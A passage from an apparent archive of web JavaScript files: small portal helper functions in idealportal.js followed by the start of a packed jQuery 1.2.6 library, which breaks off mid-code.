userAgent.indexOf('firefox')!=-1) { return true; } } idealportal.js 0000666 00000004157 15155054006 0007416 0 ustar 00 function openWindow(URL,Name,Properties) { open(URL,Name,Properties); } function fieldEval(node, firstValue) { if (node.value == firstValue) { node.value = ""; } } function fieldEvalBlur(node, firstValue) { if (node.value == "") { node.value = firstValue; } } function openProductInfo(URL) { var properties = "width=700,height=500,toolbar=no,location=yes,status=yes,menubar=no,scrollbars=yes,resizable=yes"; var win = window.open(URL, "product", properties); win.focus(); } function jump(URL) { //window.alert(URL); parent.location.href=URL; } function reloadOpener() { // Recarga la ventana que abri a la que ejecuta este javascript. if (self.opener) self.opener.location.reload(); } function sendToAFriend(url) { open("WebApp?Resource=IdealPortal.SendToAFriend&URL="+url,"SendToAFriend","width=350,height=300,scrollbars=no"); } /* +------------------------------------------------------------+ + 22-10-2002 + + + + Activaci i desactivaci de l'obra d'una taula de menus + + s'han de cpaturar els events onmouseover i onmouseout + + + +------------------------------------------------------------+ */ function activar_ombra(colorfondo) { // window.all.itembyname("Menu_row").style.backgroundColor=colorfondo; // if (window.event.srcElement.className == "Menu_row" ) // { window.event.srcElement.style.backgroundColor=colorfondo; // } /**/ return true; } function desactivar_ombra(colorfondo) { //window.all.itembyname("Menu_row").style.backgroundColor=colorfondo; // if (window.event.srcElement.className == "Menu_row" ) // { window.event.srcElement.style.backgroundColor=colorfondo; // } /**/ return true; } /* function activar_ombra(id,colorfondo) { var obj = id; this.style[obj].backgroundColor=colorfondo; return true; } function desactivar_ombra(id,colorfondo) { var obj = id; this.style[obj].backgroundColor=colorfondo; return true; }*/ jquery.js 0000666 00000074515 15155054006 0006442 0 ustar 00 /* * jQuery 1.2.6 - New Wave Javascript * * Copyright (c) 2008 John Resig (jquery.com) * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * $Date: 2008-05-24 14:22:17 -0400 (Sat, 24 May 2008) $ * $Rev: 5685 $ */ eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(H(){J w=1b.4M,3m$=1b.$;J D=1b.4M=1b.$=H(a,b){I 2B D.17.5j(a,b)};J u=/^[^<]*(<(.|\\s)+>)[^>]*$|^#(\\w+)$/,62=/^.[^:#\\[\\.]*$/,12;D.17=D.44={5j:H(d,b){d=d||S;G(d.16){7[0]=d;7.K=1;I 7}G(1j d=="23"){J c=u.2D(d);G(c&&(c[1]||!b)){G(c[1])d=D.4h([c[1]],b);N{J a=S.61(c[3]);G(a){G(a.2v!=c[3])I D().2q(d);I D(a)}d=[]}}N I D(b).2q(d)}N G(D.1D(d))I D(S)[D.17.27?"27":"43"](d);I 7.6Y(D.2d(d))},5w:"1.2.6",8G:H(){I 7.K},K:0,3p:H(a){I a==12?D.2d(7):7[a]},2I:H(b){J a=D(b);a.5n=7;I a},6Y:H(a){7.K=0;2p.44.1p.1w(7,a);I 7},P:H(a,b){I D.P(7,a,b)},5i:H(b){J a=-1;I D.2L(b&&b.5w?b[0]:b,7)},1K:H(c,a,b){J d=c;G(c.1q==56)G(a===12)I 7[0]&&D[b||"1K"](7[0],c);N{d={};d[c]=a}I 7.P(H(i){R(c 1n d)D.1K(b?7.V:7,c,D.1i(7,d[c],b,i,c))})},1g:H(b,a){G((b==\'2h\'||b==\'1Z\')&&3d(a)<0)a=12;I 7.1K(b,a,"2a")},1r:H(b){G(1j b!="49"&&b!=U)I 7.4E().3v((7[0]&&7[0].2z||S).5F(b));J a="";D.P(b||7,H(){D.P(7.3t,H(){G(7.16!=8)a+=7.16!=1?7.76:D.17.1r([7])})});I a},5z:H(b){G(7[0])D(b,7[0].2z).5y().39(7[0]).2l(H(){J a=7;1B(a.1x)a=a.1x;I a}).3v(7);I 7},8Y:H(a){I 7.P(H(){D(7).6Q().5z(a)})},8R:H(a){I 7.P(H(){D(7).5z(a)})},3v:H(){I 7.3W(19,M,Q,H(a){G(7.16==1)7.3U(a)})},6F:H(){I 7.3W(19,M,M,H(a){G(7.16==1)7.39(a,7.1x)})},6E:H(){I 7.3W(19,Q,Q,H(a){7.1d.39(a,7)})},5q:H(){I 7.3W(19,Q,M,H(a){7.1d.39(a,7.2H)})},3l:H(){I 7.5n||D([])},2q:H(b){J c=D.2l(7,H(a){I D.2q(b,a)});I 7.2I(/[^+>] [^+>]/.11(b)||b.1h("..")>-1?D.4r(c):c)},5y:H(e){J f=7.2l(H(){G(D.14.1f&&!D.4n(7)){J a=7.6o(M),5h=S.3h("1v");5h.3U(a);I D.4h([5h.4H])[0]}N I 7.6o(M)});J d=f.2q("*").5c().P(H(){G(7[E]!=12)7[E]=U});G(e===M)7.2q("*").5c().P(H(i){G(7.16==3)I;J c=D.L(7,"3w");R(J a 1n c)R(J b 1n c[a])D.W.1e(d[i],a,c[a][b],c[a][b].L)});I f},1E:H(b){I 7.2I(D.1D(b)&&D.3C(7,H(a,i){I b.1k(a,i)})||D.3g(b,7))},4Y:H(b){G(b.1q==56)G(62.11(b))I 7.2I(D.3g(b,7,M));N b=D.3g(b,7);J a=b.K&&b[b.K-1]!==12&&!b.16;I 7.1E(H(){I a?D.2L(7,b)<0:7!=b})},1e:H(a){I 7.2I(D.4r(D.2R(7.3p(),1j a==\'23\'?D(a):D.2d(a))))},3F:H(a){I!!a&&D.3g(a,7).K>0},7T:H(a){I 7.3F("."+a)},6e:H(b){G(b==12){G(7.K){J c=7[0];G(D.Y(c,"2A")){J e=c.64,63=[],15=c.15,2V=c.O=="2A-2V";G(e<0)I U;R(J i=2V?e:0,2f=2V?e+1:15.K;i<2f;i++){J d=15[i];G(d.2W){b=D.14.1f&&!d.at.2x.an?d.1r:d.2x;G(2V)I b;63.1p(b)}}I 63}N I(7[0].2x||"").1o(/\\r/g,"")}I 12}G(b.1q==4L)b+=\'\';I 7.P(H(){G(7.16!=1)I;G(b.1q==2p&&/5O|5L/.11(7.O))7.4J=(D.2L(7.2x,b)>=0||D.2L(7.34,b)>=0);N G(D.Y(7,"2A")){J a=D.2d(b);D("9R",7).P(H(){7.2W=(D.2L(7.2x,a)>=0||D.2L(7.1r,a)>=0)});G(!a.K)7.64=-1}N 7.2x=b})},2K:H(a){I a==12?(7[0]?7[0].4H:U):7.4E().3v(a)},7b:H(a){I 7.5q(a).21()},79:H(i){I 7.3s(i,i+1)},3s:H(){I 7.2I(2p.44.3s.1w(7,19))},2l:H(b){I 7.2I(D.2l(7,H(a,i){I b.1k(a,i,a)}))},5c:H(){I 7.1e(7.5n)},L:H(d,b){J a=d.1R(".");a[1]=a[1]?"."+a[1]:"";G(b===12){J c=7.5C("9z"+a[1]+"!",[a[0]]);G(c===12&&7.K)c=D.L(7[0],d);I c===12&&a[1]?7.L(a[0]):c}N I 7.1P("9u"+a[1]+"!",[a[0],b]).P(H(){D.L(7,d,b)})},3b:H(a){I 7.P(H(){D.3b(7,a)})},3W:H(g,f,h,d){J e=7.K>1,3x;I 7.P(H(){G(!3x){3x=D.4h(g,7.2z);G(h)3x.9o()}J b=7;G(f&&D.Y(7,"1T")&&D.Y(3x[0],"4F"))b=7.3H("22")[0]||7.3U(7.2z.3h("22"));J c=D([]);D.P(3x,H(){J a=e?D(7).5y(M)[0]:7;G(D.Y(a,"1m"))c=c.1e(a);N{G(a.16==1)c=c.1e(D("1m",a).21());d.1k(b,a)}});c.P(6T)})}};D.17.5j.44=D.17;H 6T(i,a){G(a.4d)D.3Y({1a:a.4d,31:Q,1O:"1m"});N D.5u(a.1r||a.6O||a.4H||"");G(a.1d)a.1d.37(a)}H 1z(){I+2B 8J}D.1l=D.17.1l=H(){J b=19[0]||{},i=1,K=19.K,4x=Q,15;G(b.1q==8I){4x=b;b=19[1]||{};i=2}G(1j b!="49"&&1j b!="H")b={};G(K==i){b=7;--i}R(;i<K;i++)G((15=19[i])!=U)R(J c 1n 15){J a=b[c],2w=15[c];G(b===2w)6M;G(4x&&2w&&1j 2w=="49"&&!2w.16)b[c]=D.1l(4x,a||(2w.K!=U?[]:{}),2w);N G(2w!==12)b[c]=2w}I b};J E="4M"+1z(),6K=0,5r={},6G=/z-?5i|8B-?8A|1y|6B|8v-?1Z/i,3P=S.3P||{};D.1l({8u:H(a){1b.$=3m$;G(a)1b.4M=w;I D},1D:H(a){I!!a&&1j a!="23"&&!a.Y&&a.1q!=2p&&/^[\\s[]?H/.11(a+"")},4n:H(a){I a.1C&&!a.1c||a.2j&&a.2z&&!a.2z.1c},5u:H(a){a=D.3k(a);G(a){J b=S.3H("6w")[0]||S.1C,1m=S.3h("1m");1m.O="1r/4t";G(D.14.1f)1m.1r=a;N 1m.3U(S.5F(a));b.39(1m,b.1x);b.37(1m)}},Y:H(b,a){I b.Y&&b.Y.2r()==a.2r()},1Y:{},L:H(c,d,b){c=c==1b?5r:c;J a=c[E];G(!a)a=c[E]=++6K;G(d&&!D.1Y[a])D.1Y[a]={};G(b!==12)D.1Y[a][d]=b;I d?D.1Y[a][d]:a},3b:H(c,b){c=c==1b?5r:c;J a=c[E];G(b){G(D.1Y[a]){2U D.1Y[a][b];b="";R(b 1n D.1Y[a])1X;G(!b)D.3b(c)}}N{1U{2U c[E]}1V(e){G(c.5l)c.5l(E)}2U D.1Y[a]}},P:H(d,a,c){J e,i=0,K=d.K;G(c){G(K==12){R(e 1n d)G(a.1w(d[e],c)===Q)1X}N R(;i<K;)G(a.1w(d[i++],c)===Q)1X}N{G(K==12){R(e 1n d)G(a.1k(d[e],e,d[e])===Q)1X}N R(J b=d[0];i<K&&a.1k(b,i,b)!==Q;b=d[++i]){}}I d},1i:H(b,a,c,i,d){G(D.1D(a))a=a.1k(b,i);I a&&a.1q==4L&&c=="2a"&&!6G.11(d)?a+"2X":a},1F:{1e:H(c,b){D.P((b||"").1R(/\\s+/),H(i,a){G(c.16==1&&!D.1F.3T(c.1F,a))c.1F+=(c.1F?" ":"")+a})},21:H(c,b){G(c.16==1)c.1F=b!=12?D.3C(c.1F.1R(/\\s+/),H(a){I!D.1F.3T(b,a)}).6s(" "):""},3T:H(b,a){I D.2L(a,(b.1F||b).6r().1R(/\\s+/))>-1}},6q:H(b,c,a){J e={};R(J d 1n c){e[d]=b.V[d];b.V[d]=c[d]}a.1k(b);R(J d 1n c)b.V[d]=e[d]},1g:H(d,e,c){G(e=="2h"||e=="1Z"){J b,3X={30:"5x",5g:"1G",18:"3I"},35=e=="2h"?["5e","6k"]:["5G","6i"];H 5b(){b=e=="2h"?d.8f:d.8c;J a=0,2C=0;D.P(35,H(){a+=3d(D.2a(d,"57"+7,M))||0;2C+=3d(D.2a(d,"2C"+7+"4b",M))||0});b-=29.83(a+2C)}G(D(d).3F(":4j"))5b();N D.6q(d,3X,5b);I 29.2f(0,b)}I D.2a(d,e,c)},2a:H(f,l,k){J e,V=f.V;H 3E(b){G(!D.14.2k)I Q;J a=3P.54(b,U);I!a||a.52("3E")==""}G(l=="1y"&&D.14.1f){e=D.1K(V,"1y");I e==""?"1":e}G(D.14.2G&&l=="18"){J d=V.50;V.50="0 7Y 7W";V.50=d}G(l.1I(/4i/i))l=y;G(!k&&V&&V[l])e=V[l];N G(3P.54){G(l.1I(/4i/i))l="4i";l=l.1o(/([A-Z])/g,"-$1").3y();J c=3P.54(f,U);G(c&&!3E(f))e=c.52(l);N{J g=[],2E=[],a=f,i=0;R(;a&&3E(a);a=a.1d)2E.6h(a);R(;i<2E.K;i++)G(3E(2E[i])){g[i]=2E[i].V.18;2E[i].V.18="3I"}e=l=="18"&&g[2E.K-1]!=U?"2F":(c&&c.52(l))||"";R(i=0;i<g.K;i++)G(g[i]!=U)2E[i].V.18=g[i]}G(l=="1y"&&e=="")e="1"}N G(f.4g){J h=l.1o(/\\-(\\w)/g,H(a,b){I b.2r()});e=f.4g[l]||f.4g[h];G(!/^\\d+(2X)?$/i.11(e)&&/^\\d/.11(e)){J j=V.1A,66=f.65.1A;f.65.1A=f.4g.1A;V.1A=e||0;e=V.aM+"2X";V.1A=j;f.65.1A=66}}I e},4h:H(l,h){J k=[];h=h||S;G(1j h.3h==\'12\')h=h.2z||h[0]&&h[0].2z||S;D.P(l,H(i,d){G(!d)I;G(d.1q==4L)d+=\'\';G(1j d=="23"){d=d.1o(/(<(\\w+)[^>]*?)\\/>/g,H(b,a,c){I c.1I(/^(aK|4f|7E|aG|4T|7A|aB|3n|az|ay|av)$/i)?b:a+"></"+c+">"});J f=D.3k(d).3y(),1v=h.3h("1v");J e=!f.1h("<au")&&[1,"<2A 7w=\'7w\'>","</2A>"]||!f.1h("<ar")&&[1,"<7v>","</7v>"]||f.1I(/^<(aq|22|am|ak|ai)/)&&[1,"<1T>","</1T>"]||!f.1h("<4F")&&[2,"<1T><22>","</22></1T>"]||(!f.1h("<af")||!f.1h("<ad"))&&[3,"<1T><22><4F>","</4F></22></1T>"]||!f.1h("<7E")&&[2,"<1T><22></22><7q>","</7q></1T>"]||D.14.1f&&[1,"1v<1v>","</1v>"]||[0,"",""];1v.4H=e[1]+d+e[2];1B(e[0]--)1v=1v.5T;G(D.14.1f){J g=!f.1h("<1T")&&f.1h("<22")<0?1v.1x&&1v.1x.3t:e[1]=="<1T>"&&f.1h("<22")<0?1v.3t:[];R(J j=g.K-1;j>=0;--j)G(D.Y(g[j],"22")&&!g[j].3t.K)g[j].1d.37(g[j]);G(/^\\s/.11(d))1v.39(h.5F(d.1I(/^\\s*/)[0]),1v.1x)}d=D.2d(1v.3t)}G(d.K===0&&(!D.Y(d,"3V")&&!D.Y(d,"2A")))I;G(d[0]==12||D.Y(d,"3V")||d.15)k.1p(d);N k=D.2R(k,d)});I k},1K:H(d,f,c){G(!d||d.16==3||d.16==8)I 12;J e=!D.4n(d),40=c!==12,1f=D.14.1f;f=e&&D.3X[f]||f;G(d.2j){J g=/5Q|4d|V/.11(f);G(f=="2W"&&D.14.2k)d.1d.64;G(f 1n d&&e&&!g){G(40){G(f=="O"&&D.Y(d,"4T")&&d.1d)7p"O a3 a1\'t 9V 9U";d[f]=c}G(D.Y(d,"3V")&&d.7i(f))I d.7i(f).76;I d[f]}G(1f&&e&&f=="V")I D.1K(d.V,"9T",c);G(40)d.9Q(f,""+c);J h=1f&&e&&g?d.4G(f,2):d.4G(f);I h===U?12:h}G(1f&&f=="1y"){G(40){d.6B=1;d.1E=(d.1E||"").1o(/7f\\([^)]*\\)/,"")+(3r(c)+\'\'=="9L"?"":"7f(1y="+c*7a+")")}I d.1E&&d.1E.1h("1y=")>=0?(3d(d.1E.1I(/1y=([^)]*)/)[1])/7a)+\'\':""}f=f.1o(/-([a-z])/9H,H(a,b){I b.2r()});G(40)d[f]=c;I d[f]},3k:H(a){I(a||"").1o(/^\\s+|\\s+$/g,"")},2d:H(b){J a=[];G(b!=U){J i=b.K;G(i==U||b.1R||b.4I||b.1k)a[0]=b;N 1B(i)a[--i]=b[i]}I a},2L:H(b,a){R(J i=0,K=a.K;i<K;i++)G(a[i]===b)I i;I-1},2R:H(a,b){J i=0,T,2S=a.K;G(D.14.1f){1B(T=b[i++])G(T.16!=8)a[2S++]=T}N 1B(T=b[i++])a[2S++]=T;I a},4r:H(a){J c=[],2o={};1U{R(J i=0,K=a.K;i<K;i++){J b=D.L(a[i]);G(!2o[b]){2o[b]=M;c.1p(a[i])}}}1V(e){c=a}I c},3C:H(c,a,d){J b=[];R(J i=0,K=c.K;i<K;i++)G(!d!=!a(c[i],i))b.1p(c[i]);I b},2l:H(d,a){J c=[];R(J i=0,K=d.K;i<K;i++){J b=a(d[i],i);G(b!=U)c[c.K]=b}I c.7d.1w([],c)}});J v=9B.9A.3y();D.14={5B:(v.1I(/.+(?:9y|9x|9w|9v)[\\/: ]([\\d.]+)/)||[])[1],2k:/75/.11(v),2G:/2G/.11(v),1f:/1f/.11(v)&&!/2G/.11(v),42:/42/.11(v)&&!/(9s|75)/.11(v)};J y=D.14.1f?"7o":"72";D.1l({71:!D.14.1f||S.70=="6Z",3X:{"R":"9n","9k":"1F","4i":y,72:y,7o:y,9h:"9f",9e:"9d",9b:"99"}});D.P({6W:H(a){I a.1d},97:H(a){I D.4S(a,"1d")},95:H(a){I D.3a(a,2,"2H")},91:H(a){I D.3a(a,2,"4l")},8Z:H(a){I D.4S(a,"2H")},8X:H(a){I D.4S(a,"4l")},8W:H(a){I D.5v(a.1d.1x,a)},8V:H(a){I D.5v(a.1x)},6Q:H(a){I D.Y(a,"8U")?a.8T||a.8S.S:D.2d(a.3t)}},H(c,d){D.17[c]=H(b){J a=D.2l(7,d);G(b&&1j b=="23")a=D.3g(b,a);I 7.2I(D.4r(a))}});D.P({6P:"3v",8Q:"6F",39:"6E",8P:"5q",8O:"7b"},H(c,b){D.17[c]=H(){J a=19;I 7.P(H(){R(J i=0,K=a.K;i<K;i++)D(a[i])[b](7)})}});D.P({8N:H(a){D.1K(7,a,"");G(7.16==1)7.5l(a)},8M:H(a){D.1F.1e(7,a)},8L:H(a){D.1F.21(7,a)},8K:H(a){D.1F[D.1F.3T(7,a)?"21":"1e"](7,a)},21:H(a){G(!a||D.1E(a,[7]).r.K){D("*",7).1e(7).P(H(){D.W.21(7);D.3b(7)});G(7.1d)7.1d.37(7)}},4E:H(){D(">*",7).21();1B(7.1x)7.37(7.1x)}},H(a,b){D.17[a]=H(){I 7.P(b,19)}});D.P(["6N","4b"],H(i,c){J b=c.3y();D.17[b]=H(a){I 7[0]==1b?D.14.2G&&S.1c["5t"+c]||D.14.2k&&1b["5s"+c]||S.70=="6Z"&&S.1C["5t"+c]||S.1c["5t"+c]:7[0]==S?29.2f(29.2f(S.1c["4y"+c],S.1C["4y"+c]),29.2f(S.1c["2i"+c],S.1C["2i"+c])):a==12?(7.K?D.1g(7[0],b):U):7.1g(b,a.1q==56?a:a+"2X")}});H 25(a,b){I a[0]&&3r(D.2a(a[0],b,M),10)||0}J C=D.14.2k&&3r(D.14.5B)<8H?"(?:[\\\\w*3m-]|\\\\\\\\.)":"(?:[\\\\w\\8F-\\8E*3m-]|\\\\\\\\.)",6L=2B 4v("^>\\\\s*("+C+"+)"),6J=2B 4v("^("+C+"+)(#)("+C+"+)"),6I=2B 4v("^([#.]?)("+C+"*)");D.1l({6H:{"":H(a,i,m){I m[2]=="*"||D.Y(a,m[2])},"#":H(a,i,m){I a.4G("2v")==m[2]},":":{8D:H(a,i,m){I i<m[3]-0},8C:H(a,i,m){I i>m[3]-0},3a:H(a,i,m){I m[3]-0==i},79:H(a,i,m){I m[3]-0==i},3o:H(a,i){I i==0},3S:H(a,i,m,r){I i==r.K-1},6D:H(a,i){I i%2==0},6C:H(a,i){I i%2},"3o-4u":H(a){I a.1d.3H("*")[0]==a},"3S-4u":H(a){I D.3a(a.1d.5T,1,"4l")==a},"8z-4u":H(a){I!D.3a(a.1d.5T,2,"4l")},6W:H(a){I a.1x},4E:H(a){I!a.1x},8y:H(a,i,m){I(a.6O||a.8x||D(a).1r()||"").1h(m[3])>=0},4j:H(a){I"1G"!=a.O&&D.1g(a,"18")!="2F"&&D.1g(a,"5g")!="1G"},1G:H(a){I"1G"==a.O||D.1g(a,"18")=="2F"||D.1g(a,"5g")=="1G"},8w:H(a){I!a.3R},3R:H(a){I a.3R},4J:H(a){I a.4J},2W:H(a){I a.2W||D.1K(a,"2W")},1r:H(a){I"1r"==a.O},5O:H(a){I"5O"==a.O},5L:H(a){I"5L"==a.O},5p:H(a){I"5p"==a.O},3Q:H(a){I"3Q"==a.O},5o:H(a){I"5o"==a.O},6A:H(a){I"6A"==a.O},6z:H(a){I"6z"==a.O},2s:H(a){I"2s"==a.O||D.Y(a,"2s")},4T:H(a){I/4T|2A|6y|2s/i.11(a.Y)},3T:H(a,i,m){I D.2q(m[3],a).K},8t:H(a){I/h\\d/i.11(a.Y)},8s:H(a){I D.3C(D.3O,H(b){I a==b.T}).K}}},6x:[/^(\\[) *@?([\\w-]+) *([!*$^~=]*) *(\'?"?)(.*?)\\4 *\\]/,/^(:)([\\w-]+)\\("?\'?(.*?(\\(.*?\\))?[^(]*?)"?\'?\\)/,2B 4v("^([:.#]*)("+C+"+)")],3g:H(a,c,b){J d,1t=[];1B(a&&a!=d){d=a;J f=D.1E(a,c,b);a=f.t.1o(/^\\s*,\\s*/,"");1t=b?c=f.r:D.2R(1t,f.r)}I 1t},2q:H(t,o){G(1j t!="23")I[t];G(o&&o.16!=1&&o.16!=9)I[];o=o||S;J d=[o],2o=[],3S,Y;1B(t&&3S!=t){J r=[];3S=t;t=D.3k(t);J l=Q,3j=6L,m=3j.2D(t);G(m){Y=m[1].2r();R(J i=0;d[i];i++)R(J c=d[i].1x;c;c=c.2H)G(c.16==1&&(Y=="*"||c.Y.2r()==Y))r.1p(c);d=r;t=t.1o(3j,"");G(t.1h(" ")==0)6M;l=M}N{3j=/^([>+~])\\s*(\\w*)/i;G((m=3j.2D(t))!=U){r=[];J k={};Y=m[2].2r();m=m[1];R(J j=0,3i=d.K;j<3i;j++){J n=m=="~"||m=="+"?d[j].2H:d[j].1x;R(;n;n=n.2H)G(n.16==1){J g=D.L(n);G(m=="~"&&k[g])1X;G(!Y||n.Y.2r()==Y){G(m=="~")k[g]=M;r.1p(n)}G(m=="+")1X}}d=r;t=D.3k(t.1o(3j,""));l=M}}G(t&&!l){G(!t.1h(",")){G(o==d[0])d.4s();2o=D.2R(2o,d);r=d=[o];t=" "+t.6v(1,t.K)}N{J h=6J;J m=h.2D(t);G(m){m=[0,m[2],m[3],m[1]]}N{h=6I;m=h.2D(t)}m[2]=m[2].1o(/\\\\/g,"");J f=d[d.K-1];G(m[1]=="#"&&f&&f.61&&!D.4n(f)){J p=f.61(m[2]);G((D.14.1f||D.14.2G)&&p&&1j p.2v=="23"&&p.2v!=m[2])p=D(\'[@2v="\'+m[2]+\'"]\',f)[0];d=r=p&&(!m[3]||D.Y(p,m[3]))?[p]:[]}N{R(J i=0;d[i];i++){J a=m[1]=="#"&&m[3]?m[3]:m[1]!=""||m[0]==""?"*":m[2];G(a=="*"&&d[i].Y.3y()=="49")a="3n";r=D.2R(r,d[i].3H(a))}G(m[1]==".")r=D.5m(r,m[2]);G(m[1]=="#"){J e=[];R(J i=0;r[i];i++)G(r[i].4G("2v")==m[2]){e=[r[i]];1X}r=e}d=r}t=t.1o(h,"")}}G(t){J b=D.1E(t,r);d=r=b.r;t=D.3k(b.t)}}G(t)d=[];G(d&&o==d[0])d.4s();2o=D.2R(2o,d);I 2o},5m:H(r,m,a){m=" "+m+" ";J c=[];R(J i=0;r[i];i++){J b=(" "+r[i].1F+" ").1h(m)>=0;G(!a&&b||a&&!b)c.1p(r[i])}I c},1E:H(t,r,h){J d;1B(t&&t!=d){d=t;J p=D.6x,m;R(J i=0;p[i];i++){m=p[i].2D(t);G(m){t=t.8r(m[0].K);m[2]=m[2].1o(/\\\\/g,"");1X}}G(!m)1X;G(m[1]==":"&&m[2]=="4Y")r=62.11(m[3])?D.1E(m[3],r,M).r:D(r).4Y(m[3]);N G(m[1]==".")r=D.5m(r,m[2],h);N G(m[1]=="["){J g=[],O=m[3];R(J i=0,3i=r.K;i<3i;i++){J a=r[i],z=a[D.3X[m[2]]||m[2]];G(z==U||/5Q|4d|2W/.11(m[2]))z=D.1K(a,m[2])||\'\';G((O==""&&!!z||O=="="&&z==m[5]||O=="!="&&z!=m[5]||O=="^="&&z&&!z.1h(m[5])||O=="$="&&z.6v(z.K-m[5].K)==m[5]||(O=="*="||O=="~=")&&z.1h(m[5])>=0)^h)g.1p(a)}r=g}N G(m[1]==":"&&m[2]=="3a-4u"){J e={},g=[],11=/(-?)(\\d*)n((?:\\+|-)?\\d*)/.2D(m[3]=="6D"&&"2n"||m[3]=="6C"&&"2n+1"||!/\\D/.11(m[3])&&"8q+"+m[3]||m[3]),3o=(11[1]+(11[2]||1))-0,d=11[3]-0;R(J i=0,3i=r.K;i<3i;i++){J j=r[i],1d=j.1d,2v=D.L(1d);G(!e[2v]){J c=1;R(J n=1d.1x;n;n=n.2H)G(n.16==1)n.4q=c++;e[2v]=M}J b=Q;G(3o==0){G(j.4q==d)b=M}N G((j.4q-d)%3o==0&&(j.4q-d)/3o>=0)b=M;G(b^h)g.1p(j)}r=g}N{J f=D.6H[m[1]];G(1j f=="49")f=f[m[2]];G(1j f=="23")f=6u("Q||H(a,i){I "+f+";}");r=D.3C(r,H(a,i){I f(a,i,m,r)},h)}}I{r:r,t:t}},4S:H(b,c){J a=[],1t=b[c];1B(1t&&1t!=S){G(1t.16==1)a.1p(1t);1t=1t[c]}I a},3a:H(a,e,c,b){e=e||1;J d=0;R(;a;a=a[c])G(a.16==1&&++d==e)1X;I a},5v:H(n,a){J r=[];R(;n;n=n.2H){G(n.16==1&&n!=a)r.1p(n)}I r}});D.W={1e:H(f,i,g,e){G(f.16==3||f.16==8)I;G(D.14.1f&&f.4I)f=1b;G(!g.24)g.24=7.24++;G(e!=12){J h=g;g=7.3M(h,H(){I h.1w(7,19)});g.L=e}J j=D.L(f,"3w")||D.L(f,"3w",{}),1H=D.L(f,"1H")||D.L(f,"1H",H(){G(1j D!="12"&&!D.W.5k)I D.W.1H.1w(19.3L.T,19)});1H.T=f;D.P(i.1R(/\\s+/),H(c,b){J a=b.1R(".");b=a[0];g.O=a[1];J d=j[b];G(!d){d=j[b]={};G(!D.W.2t[b]||D.W.2t[b].4p.1k(f)===Q){G(f.3K)f.3K(b,1H,Q);N G(f.6t)f.6t("4o"+b,1H)}}d[g.24]=g;D.W.26[b]=M});f=U},24:1,26:{},21:H(e,h,f){G(e.16==3||e.16==8)I;J i=D.L(e,"3w"),1L,5i;G(i){G(h==12||(1j h=="23"&&h.8p(0)=="."))R(J g 1n i)7.21(e,g+(h||""));N{G(h.O){f=h.2y;h=h.O}D.P(h.1R(/\\s+/),H(b,a){J c=a.1R(".");a=c[0];G(i[a]){G(f)2U i[a][f.24];N R(f 1n i[a])G(!c[1]||i[a][f].O==c[1])2U i[a][f];R(1L 1n i[a])1X;G(!1L){G(!D.W.2t[a]||D.W.2t[a].4A.1k(e)===Q){G(e.6p)e.6p(a,D.L(e,"1H"),Q);N G(e.6n)e.6n("4o"+a,D.L(e,"1H"))}1L=U;2U i[a]}}})}R(1L 1n i)1X;G(!1L){J d=D.L(e,"1H");G(d)d.T=U;D.3b(e,"3w");D.3b(e,"1H")}}},1P:H(h,c,f,g,i){c=D.2d(c);G(h.1h("!")>=0){h=h.3s(0,-1);J a=M}G(!f){G(7.26[h])D("*").1e([1b,S]).1P(h,c)}N{G(f.16==3||f.16==8)I 12;J b,1L,17=D.1D(f[h]||U),W=!c[0]||!c[0].32;G(W){c.6h({O:h,2J:f,32:H(){},3J:H(){},4C:1z()});c[0][E]=M}c[0].O=h;G(a)c[0].6m=M;J d=D.L(f,"1H");G(d)b=d.1w(f,c);G((!17||(D.Y(f,\'a\')&&h=="4V"))&&f["4o"+h]&&f["4o"+h].1w(f,c)===Q)b=Q;G(W)c.4s();G(i&&D.1D(i)){1L=i.1w(f,b==U?c:c.7d(b));G(1L!==12)b=1L}G(17&&g!==Q&&b!==Q&&!(D.Y(f,\'a\')&&h=="4V")){7.5k=M;1U{f[h]()}1V(e){}}7.5k=Q}I b},1H:H(b){J a,1L,38,5f,4m;b=19[0]=D.W.6l(b||1b.W);38=b.O.1R(".");b.O=38[0];38=38[1];5f=!38&&!b.6m;4m=(D.L(7,"3w")||{})[b.O];R(J j 1n 4m){J c=4m[j];G(5f||c.O==38){b.2y=c;b.L=c.L;1L=c.1w(7,19);G(a!==Q)a=1L;G(1L===Q){b.32();b.3J()}}}I a},6l:H(b){G(b[E]==M)I b;J d=b;b={8o:d};J c="8n 8m 8l 8k 2s 8j 47 5d 6j 5E 8i L 8h 8g 4K 2y 5a 59 8e 8b 58 6f 8a 88 4k 87 86 84 6d 2J 4C 6c O 82 81 35".1R(" ");R(J i=c.K;i;i--)b[c[i]]=d[c[i]];b[E]=M;b.32=H(){G(d.32)d.32();d.80=Q};b.3J=H(){G(d.3J)d.3J();d.7Z=M};b.4C=b.4C||1z();G(!b.2J)b.2J=b.6d||S;G(b.2J.16==3)b.2J=b.2J.1d;G(!b.4k&&b.4K)b.4k=b.4K==b.2J?b.6c:b.4K;G(b.58==U&&b.5d!=U){J a=S.1C,1c=S.1c;b.58=b.5d+(a&&a.2e||1c&&1c.2e||0)-(a.6b||0);b.6f=b.6j+(a&&a.2c||1c&&1c.2c||0)-(a.6a||0)}G(!b.35&&((b.47||b.47===0)?b.47:b.5a))b.35=b.47||b.5a;G(!b.59&&b.5E)b.59=b.5E;G(!b.35&&b.2s)b.35=(b.2s&1?1:(b.2s&2?3:(b.2s&4?2:0)));I b},3M:H(a,b){b.24=a.24=a.24||b.24||7.24++;I b},2t:{27:{4p:H(){55();I},4A:H(){I}},3D:{4p:H(){G(D.14.1f)I Q;D(7).2O("53",D.W.2t.3D.2y);I M},4A:H(){G(D.14.1f)I Q;D(7).4e("53",D.W.2t.3D.2y);I M},2y:H(a){G(F(a,7))I M;a.O="3D";I D.W.1H.1w(7,19)}},3N:{4p:H(){G(D.14.1f)I Q;D(7).2O("51",D.W.2t.3N.2y);I M},4A:H(){G(D.14.1f)I Q;D(7).4e("51",D.W.2t.3N.2y);I M},2y:H(a){G(F(a,7))I M;a.O="3N";I D.W.1H.1w(7,19)}}}};D.17.1l({2O:H(c,a,b){I c=="4X"?7.2V(c,a,b):7.P(H(){D.W.1e(7,c,b||a,b&&a)})},2V:H(d,b,c){J 